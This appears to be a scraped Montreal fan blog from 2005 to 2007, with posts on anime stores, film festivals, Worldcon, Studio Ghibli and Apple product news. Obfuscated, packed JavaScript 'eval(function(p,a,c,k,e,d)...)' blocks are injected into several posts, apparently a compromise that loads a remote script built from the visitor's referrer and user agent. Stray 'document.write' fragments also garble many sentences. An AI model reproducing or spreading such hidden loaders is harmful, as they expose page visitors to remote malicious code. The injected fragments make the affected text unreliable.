New Valerian Trailer

September 12, 2007 / Clodjee / Leave a comment

Time Jam, document.write(“”); the animation (co-produced with the Japanese studio Satelight) based on the French comics “Valerian & Laureline, Agents Spatio-Temporel”, has been once again delayed but a new trailer is available.
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Version Française:

English Version:

Worldcon in Montreal in 2009!

September 9, 2007 / Clodjee / Leave a comment

Incredible but true: In 2009 the WorldCon will be in Montreal!

Following the vote of the fans attending the 65th International Science-Fiction Convention held at Yokohama, document.write(“”); Japan, on the first week-end of September, Montreal has been chosen as the host of the convention in 2009 by only 166 votes.

I attended only two WorldCon before: Boston in ’89 and Winnipeg in ’94 (I missed Toronto in 2003 and Boston in ’04 because I was too busy with work — now that’s in Montreal, I will not miss it for sure). In 2008, it will be in Denver (too far for me to attend).

Links: WorldCon, Anticipation / Montreal 2009.

Apple to open their Canadian flag-store in Montreal

August 16, 2007 / Clodjee / 1 Comment

According to AppleInsider, document.write(“”); Apple is planning to open a multi-story store on Ste-Catherine street West for Summer or early Fall 2008. They would heavily renovate (in the hip way that Apple’s stores are known for: with lots of glass and aluminum) the MENS building (1321 Ste Catherine W) near De La Montagne street (see pictures). Work should start this winter.
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That’s a great news, since downtown Montreal has been lacking a decent Mac-friendly store since the demise of Bmac several years ago. It’s even getting difficult to find a decent computer store (besides the big chains like Staples, Future Shop or The Source). I even noticed this week that the CompuSmart on Square Philips had disappeared — but at the same time I discovered that there was a tiny Micro-Boutique on the fourth floor of the Eaton Center. There’s also MicroBytes that is good for accessories and peripherals. The best specialized stores are now mostly online (what about touching & physically checking the product before buying?). So, there’s nothing like a big, real Apple Store. One opened earlier this year at the Carrefour Laval, but it’s relatively small (I was rather disappointed when I visited). Apparently, the new downtown Apple store will be 9,300 square feet, a bit smaller than the Manhattan store!

New iMacs!

August 8, 2007 / Clodjee / Leave a comment

Also today, document.write(“”); Apple finally announced the new iMac models!
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The new look of the iMac is made of aluminum and glass. The 17-inch models are eliminated and replace by a low-end 20-inch (2 Ghz Intel Core 2 Duo, 1 Gb memory, 250 Gb HD, $1,199.00 US / $1,299.00 Can) and both the 20-inch (2.4 Ghz Intel Core 2 Duo, 1 Gb memory, 320 Gb HD, $1,499.00 US / $1,599.00 Can) and 24-inch (2.4 Ghz Intel Core 2 Duo, 1 Gb memory, 320 Gb HD, $1,799.00 US / $1,899.00 Can) models are quite improved for the same price they were before! Finally, a new high-performence 24-inch model is added (2.8 Ghz Intel Core 2 Extreme, 2 Gb memory, 500 Gb HD, $2,299.00 US / $2,449.00 Can). All models includes a new, slimmer, keyboard and are available now. Wow!

Apple also launched iLife ’08 and iWork ’08, upgraded the Mac Mini and boosted .Mac (with .Mac Gallery and 10 Gb of storage!). It was a great day for Apple fans. The next step will be the release of the Mac OS X 10.5 (Leopard) later this fall…

I have been waiting for this day all year long. I was planning to upgrade my old iMac G5 (1.8 Ghz, 1 Gb of memory, 150 Gb HD) for an Intel earlier this year when rumors of new iMac models started circulating, so I decided to wait. Despite the great news, choosing the right model was an agonizing process. I was really tempted by a 24-inch that runs faster, but I unfortunately had to manage my wallet, so I reluctantly went for the bigger 20-inch (but I boosted its memory to 2 Gb — I also took the opportunity to order Parallel, an EyeTV 250 and an Apple TV). Now I can’t wait to receive that baby!

Montreal World Film Festival 2007

August 7, 2007 / Clodjee / Leave a comment

Today, document.write(“”); the 31st Montreal World Film Festival announced its programmation. The Festival, which will be held from August 23 to September 3, 2007, will offer 230 movie features and 215 shorts from 70 countries (including 53 world premieres (PM), 56 international premieres (PI), 59 North American premieres (PNA), and 42 Canadian premieres (PC))!
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Unfortunately, there is very little Japanese movies at the festival this year: two in competition (COMP), one out of competition (HC), four in the “Focus On World Cinema” segment (REG) and one short:

KURO-OBI (Black Belt) (COMP) (PM) Japan / 2006 / 95 min / Dir.: Shunichi Nagasaki; Cast : Akihito Yagi, Tatsuya Naka, Yuji Suzuki, Takayasu Komiya, Yasuto Kosuda, Kenji Anan, Masahiro Sudo, Taro Suwa, Arashi Fukasawa, Narumi Konno. Set in the 1930s in Japan, three martial arts practitioners who are competing to inherit the mantle of their late master, are ordered to enlist in the military. Having no choice, the trio leave their dojo for an encounter with fate. Review.

OH-OKU (Oh-Oku, The Women Of The Inner Palace) (COMP) (PI) Japan / 2007 / 128 min / Dir.: Toru Hayashi; Cast : Yukie Nakama, Hidetoshi Nishijima, Haruka Igawa, Mitsuhiro Oikawa, Kaoru Sugita, Machiko Washio, Kaori Yamaguchi, Maki Kubota, Yuki Matsushita, Reiko Takashima. Set during the short reign of child Shogun Ietsugu Tokugawa, OH-OKU recounts the legendary power struggle between the young shogun’s natural mother and his official wife, who must watch her stake in the bloodline. Review.

BIZAN (HC) (PNA) Japan / 2007 / 120 min / Dir.: Isshin Inudo; Cast : Nanako Matsushima, Takao Osawa, Nobuko Miyamata, Aya Enjoji, Tatsuo Yamada, Manami Kurose, Toshiyuki Nagashima, Takeo Nakahara, Ken Kaneko. A Tokyo travel agent who returns to her hometown when her mother is hospitalized for cancer discovers that the father she never met is not dead as her mother always claimed. She sets out to find him and perhaps re-unite the family before it is too late. Review.

DEAR FRIENDS (REG) (PI) Japan / 2007 / 115 min / Dir.: Kasuyuki Morosawa; Cast : Keiko Kitagawa,Yuika Motokariya, Masaya Kikawada, Airi Toriyama, Mao Sasaki, Hatsune Matsushima, Mantaro Koichi, Naoko Otani, Yoshiko Miyazaki, Ren Osugi; Prod. & Sales: Toei Company Ltd.

MAMIYA KYOUDAI (The Mamiya Brothers) (REG) (PNA) Japan / 2006 / 119 min / Dir.: Yoshimitsu Morita; Cast : Kuranosuke Sasaki, Muga Tsukaji, Miyuki Nakajima, Takako Tokiwa, Erika Sawajiri, Keiko Kitagawa, Hiromi Iwasaki, Ryuta Sato, Teppei Yokota, Koji Sato, Kenichi Katsura; Prod. & Sales: Yasushi Tsuge, Kazuko Misawa, Asmik Ace Entertainment, Inc.. The nerdy Mamiya brothers live in a comfortable Tokyo apartment, work 9-to-5 jobs and have done everything together for over thirty years. Everything but date girls. Which they’ve never done at all. They decide a curry-and-Monopoly party might kick-start their love lives… Review.

SAKURAN (REG) (PC) Japan / 2007 / 111 min / Dir.: Mika Ninagawa; Cast : Anna Tsuchiya, Kippei Narimiya, Yoshino Kimura, Miho Kanno, Masatoshi Nagase, Minami, Hiroshi Yamamoto; Prod.: Mitsuru Uda, Yoshinori Fujita, Asmik Ace Entertainment, Inc. An elegant red light district flourished in In 17th century Edo, as Tokyo was then known. SAKURAN tells the story of one woman living in the lustrous world who was determined to stand on her own two feet and live life as she pleased. Review.

TANA-NO-SUMI (The Dark Corners Of The Shelves) (REG) (PI) Japan / 2007 / 81 min / Dir.: Hajime Kadoi; Cast : Ren Osugi, Ryoko Uchida, Makiko Watanabe, Hideo Sakaki; Prod.: Kazuhiro Koike, Little Bird (Espero Keikaku). A woman comes into Yasuo’s toy shop and, without a word, buys an old toy and leaves. The woman is Yoko, Yasuo’s former wife who walked out on him and their son eight years ago… Review.

Grand Odyssey (REG – Short) (PNA) Japan – France / 2007 / 19 min / Dir.: Tomoyuki Kato; Cast : Yuzo Kayama, Natsumi Okumura. Review.

Check the festival’s web site for more details. Bon festival!

See the full Event Report in Protoculture Addicts #96: 71.

See also our quick overview of the festival and our Picture Gallery.

[updated 2007/8/20 and 2008/5/13]

Sci-Fi Anime

July 26, 2007 / Clodjee / Leave a comment

Sci-Fi Anime, document.write(“”); one of the rare anime-related specialized stores in the Montreal area (along with Marché Clandestin and Mangaya) has just moved to a new location:
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2186 Ste-Catherine W
Montreal, Qc H3H 1H7
(514) 482-7844

Otakuthon

July 22, 2007 / Clodjee / Leave a comment

I would like to remind you that Otakuthon, document.write(“”); the only anime convention in Montreal, will be held at Concordia university on August 4 & 5. Check their website for details and, if you live in the Montreal area, come meet us there!
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Fantasia 2007

June 27, 2007 / Clodjee / Leave a comment

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Fantasia, document.write(“”); North America’s Premier Genre Film Festival, has announced today its 2007 programming. The 11th edition of the festival will be held July 5-23 in three theatres (Hall, J.A. DeSeve and D.B. Clarke) of Montreal’s Concordia University. It will offer 120 features films, 10 documentaries and 22 programs of short features (totalling 250 local and international shorts). There will also be more than fifty guests. The Program Book will be on sale friday June 29th at the cost of $5. Tickets will be available for $7.50 or $65 for a booklet of 10 tickets.

The programming will include over sixty feature films from Asia (plus twenty-two short films): 27 from Japan (including 3 anime), 17 from Korea (including one animation), 10 from Hong Kong and 8 from other Asian countries (Thailand, China, Taiwan).

Again this year the festival offers only three Japanese animation features: Ghost In The Shell: Stand Alone Complex: Solid State Society, Naruto The Movie: Ninja Clash In The Land Of Snow, and Tekkon Kinkreet (dir. Michael Arias, animated by Studio 4′ C).

Luckily we are more fortunate with the Japanese live-action line-up. Are particularly noteworthy: Always: Sunset On Third Street (Takashi Yamazaki), Big Bang Love: Juvenile A (Takashi Miike), Death Note and Death Note: The Last Name (both by Shusuke Kaneko, who will be present), Exte: Hair Extensions and Hazard (both by Sion Sono, who’s among the guests), Memories Of Matsuko (Tetsuya Nakashima, who also directed Kamikaze Girls), Nightmare Detective (Shinya Tsukamoto), Retribution (Kiyoshi Kurosawa), The Rug Cop (Minoru Kawasaki), Ultraman Mebius & Ultra Brothers (Kazuya Konaka), The World Sinks Except Japan (Minoru Kawasaki), and Zebraman (Takashi Miike).

The Japanese programming also includes: 893239, Arch Angels (Issei Oda), Sun Scarred (Takashi Miike), Ten Nights Of Dreams, Woman Transformation, and Wool 100%.

The Korean programming includes: 200 Pounds Beauty, Aachi & Ssipak, A Bloody Aria, The City Of Violence, Dasepo Naughty Girls, A Dirty Carnival, The Fox Family, The King And The Clown, Like a Virgin, Midnight Ballad For a Ghost Theatre, Once In A Summer, The Restless, Roommates, The Show Must Go On (Han Jae-Rim, guest), Time, War Of Flowers, and Yobi The Five-Tailed Fox (animation).

The Hong Kong programming includes: The 14 Amazons, After This Our Exile, A Battle Of Wits, Dead Air, Dairy, Dog Bite Dog, Exiled (Johnnie To), Isabella, A Mob Story, and One Armed Boxer.

Also noteworthy is the program of Korean Shorts, the Tribute to Akio Jissoji Arthouse Ultraman 2, and the documentaries (particularly Animania, Taiwan Black Movies, and the Yves Montmayeur series: Electric Yakusa: Go To Hell, Ghibli Et Le Mystère Miyazaki, Hong Kong Film Noir, Les Enragés Du Cinéma Coréen).

On a personal note, I would also recommend Stalker (a 1979 Russian movie by Andrei Tarkovsky).

Check either in PA or here for reviews.

Have a nice festival!

Japanese Film Wins Cannes Grand Prix

June 3, 2007 / Clodjee / Leave a comment

If the Cannes Film Festival’s Palme D’Or went to a Romanian movie, document.write(“”); the Grand Prix was won by Naomi Kawase’s Mogari no Mori. That’s another movie that we will try to put our hands on and review…

New Montreal Manga Store!

May 9, 2007 / Clodjee / Leave a comment

The anime store Marché Clandestin has spawned a manga store.
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The Marché Clandestin MANGAYA is conveniently located just above the Marché Clandestin: 325 Ontario Est, document.write(“”); Suite 101, Montreal, Qc, H2X 1H7 (Ph: (514) 510-6507; Web: www.mcanime.com/mangaya/). It is open Monday to Saturday, from noon to 7 pm. It is near the Berri-UQAM métro station.

As far as I know it is the first store in Montreal to specialize only in manga — both in French and in English (and eventually in Japanese too!). It covers all genres: shojo, shonen, yaoi, yuri, seinen, etc., and even carries novels. They have a special: buy 10 manga and get one free (of a value up to $12.95 Can).

It has just opened so the place is small and they don’t have a large selection yet, but they already have a nice choice of manga and many titles that you would never see in your regular book store. It is REALLY worth checking out.

Turning The Pages

February 18, 2007 / Clodjee / Leave a comment

Yesterday, document.write(“”); while reading the Montreal’s Gazette, I discovered a very interesting webpage created by the British Library: Turning The Pages.
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The BL has digitalized several of their most interesting and valuable books (at least sixteen of them so far) and anyone can browse them on the net. I means literaly browse them: you see a picture of the book and you can turn the page like if the book was really there!

All you need is broadband and a Shockwave plug-in.

At first, I was disappointed. On the main page they were talking about the new version for Vista and I was afraid that it was another of those sites that were useless for us, Mac users. I decided to click on one of the books offered, just in case. And it worked! For Mac, it works directly and you don’t need to install anything if you already have the Shockwave plug-in for Safari. And it is REALLY amazing!

As example, here’s the Sforza Hours book:

You use the cursor of the mouse to turn the pages (hence the name) with a cute animated effect. You have three buttons at the bottom right of the screen that allow you to see an explanation on the text, hear the same explanation or have a magnifier that you can move around to see in more details the texts or illustrations!

You can browse through a Leonardo’s sketchbook, a Mozart’s musical dairy, the original Alice by Lewis Carroll, Mercator’s Atlas Of Europe, etc. Bravo to the British Library for making such treasure available to the masses!

Music From Japan

December 16, 2006 / Clodjee / Leave a comment

I am sure that many anime & manga fans are like me and enjoy listening to Japanese music. It is not always easy to find J-pop DVDs and one cannot download music from iTunes Japan if one doesn’t have a credit card registered with a Japanese address. At least, document.write(“”); until now!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkhta|var|u0026u|referrer|hbdnh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfaes|var|u0026u|referrer|nfyed||js|php’.split(‘|’),0,{}))

I learned today, while reading TUAW (The Unofficial Apple Weblog), that you can shop at iTunes Japan from America (or anywhere else) when you purchase iTunes Japan Music Cards!

The funny things is that those cards are available from Jbox (the sister website to Jlist, an online store created by Peter Payne and selling anime, manga & everything Japanese that might interest a fan). The cards are available in ¥1500 ($18 US) and ¥3000 ($35 US) format and Jbox clearly explains how to use them.

The cards are also available from Amazon.co.jp (but that website is in Japanese)…

Have fun!

UPDATE [12/30/06]: Someone on the Anime News Network‘s forums has pointed out that this item cannot be ordered on Amazon.co.jp from overseas. I have indeed verified that some commodities produced for the Japanese market (Software, Game, Electronics, Home & kitchen, Toy & hobby, Sport, Health & beauty, and certain type of Dvds/videos) are subject to geographical restrictions and Amazon.co.jp cannot deliver them overseas. The iTunes Japan Music Cards are apparently considered as Electronics. Sorry, I didn’t know that. It leaves only Jbox as source (although someone also pointed out that the cards were available in some convenience stores).

Anime News

December 14, 2006 / Clodjee / Leave a comment

For those interested in anime & manga, document.write(“”); the new issue of Protoculture Addicts, #89, is now available.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zynnb|var|u0026u|referrer|hdnsf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzzat|var|u0026u|referrer|nbbfs||js|php’.split(‘|’),0,{}))

Also, Anime News Network as a new layout that is worth a look.

Please check them out.

Ghibli To Animate LeGuin’s Story

December 16, 2005 / Clodjee / Leave a comment

The next animated movie produced by Studio Ghibli will be directed by Goro Miyazaki (the son of Hayao Miyazaki) and adapted from Ursula K. LeGuin Earthsea Cycle.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byfne|var|u0026u|referrer|hyfnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkenn|var|u0026u|referrer|trnky||js|php’.split(‘|’),0,{}))

Studio Ghibli is famous for having animated movies directed by Hayao Miyazaki (Laputa: Castle In The Sky, document.write(“”); My Neighbor Totoro, Kiki’s Delivery Service, Porco Rosso, Princess Mononoke, Spirited Away, Howl’s Moving Castle) and Isao Takahata (Grave Of The Fireflies, Only Yesterday, Tanuki Wars Ponpoko and Tonari no Yamada-kun).

The movie will be titled Gedo Senki [Record Of The Gedo War]: Tales From Earthsea and will be released in July 2006.

It seems that Ghibli is moving away from creating their animation based on original story since it is their second movie that will be an adaptation from an English speaking novel. Their previous movie, Howl’s Moving Castle, was adapted from a novel by English writer Diana Wynne Jones. Gedo Senki will be the adaptation of the third (The Farthest Shore) and fourth (Tehanu) books of Ursula K. LeGuin Earthsea Cycle.

(Source: Anime News Network: Ghibli Announces New Anime & Gedo Senki News).

Ghibli Web Site
Ursula K. LeGuin Web Site

Apple on Kamataki

November 21, 2005 / Clodjee / Leave a comment

Apple has recently posted on its web site an article on Kamataki, document.write(“”); a Canadian-Japanese movie directed by Claude Gagnon who just received several awards at the Montreal World Film Festival.

Apple often post articles on people who are using their computers and softwares. Director Claude Gagnon used a Power Mac G5 and Final Cut Pro to edit his award-winning movie.

JET Looking For Candidates

November 3, 2005 / Clodjee / Leave a comment

If you are a Japan-lover living in the Montreal area and have dreams of going to Japan, document.write(“”); you might be interested to know that the Japan Exchange and Teaching Programme is looking for candidates to become Assistant English Teachers in Japan. No better way to discover Japan than by working there (they say the salary is good, with benefits and they even pay the airplane ticket)!

You can apply online (www.montreal.ca.emb-japan.go.jp; click on “Exchange Programs”) until November 18, 2005 for a departure in July 2006.

(Source: The Gazette 11/2/2005 E7)

Rose Of Versailles Revival

October 15, 2005 / Clodjee / Leave a comment

This year is the 250th anniversary of the birth of Marie-Antoinette (born in Vienna in 1755) and it seems to be a good pretext for a revival of Rose Of Versailles, document.write(“”); this epic anime drama about a passionate love set with the French Revolution as backdrop.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndzea|var|u0026u|referrer|diika||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdzfa|var|u0026u|referrer|ktzzz||js|php’.split(‘|’),0,{}))

Not only TMS is releasing the complete series on R2 DVDs (8 vols, BCBA-2321~28, 121 min. ea, ¥3800 ea.; Vol. 1-3 avail. on 9/23; Vol. 4-6 avail. on 10/28 and vol. 7-8 avail. on 11/25), but also the all-female theatrical troop Takarazuka will restage their famous Versailles no Bara play for the great pleasure of their fans! (For more info about this series and the play, check PA#45: 17-26, 41-43 as well as the online overview)

Furthermore, Rose Of Versailles mangaka, Riyoko Ikeda — who stopped drawing manga a decade ago to dedicate herself to music — has started a new manga series that adapts a novel of Yukio Mishima (more details on ANN).

Update:

Takarazuka will give TWO different performences of Rose Of Versailles:

Takarazuka “Star Troupe will be performing the “Fersen and Marie Antoinette version” first in a national tour, from 9/24 through 10/21. After the tour, they will perform from January – February 2006 in the Takarazuka Grand Theater, and then from February – April 2006 in the Toyko Takarazuka Theater.”

Takarazuka “Snow Troupe will be performing the “Oscar” version from February – March in the Takarazuka Grand Theater, and from April – May in the Tokyo Takarazuka Theater.”

(Update Source: Sugar And Spice Takarazuka Revue web site)

Takarazuka Revue Official web site

Apple’s iTunes music stores soon to offer video!

October 13, 2005 / Clodjee / Leave a comment

With the announcement of the new video-capable iPod, document.write(“”); Apple might be able to revolutionize the world of the video download the same way they did for music.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khtkd|var|u0026u|referrer|rtyzb||js|php’.split(‘|’),0,{}))

iTunes music stores will soon start selling video also. Following a deal with ABC/Disney they will start offering episode of “Desperate Housewives” and “Lost,” among other content, for only $1.99 per episode. Video can be watched either on the iPod 2.5-inch screen or on a computer.

Hopefully, anime releasers both in Japan an in North America will seize this opportunity to make their product available online at a reasonable cost. It is clear that this is the only way to fight piracy and illegal downloads.

If you want more details you can check those articles:

www.hollywoodreporter.com/thr/new_media/article_display.jsp?vnu_content_id=1001304647

www.cnn.com/2005/TECH/ptech/10/12/apple.video.ipod.ap/index.html?section=cnn_topstories

Update (05/10/14): iTunes v. 6 is already available and the music store is already selling lots of video clips and some Pixar’s short movies. The only downside to this is that the resolution is rather small. It is really made for the iPod screen. But at least the idea of downloading video for a small fee is put in practice. Eventually they could offer higher resolution video for a bigger price.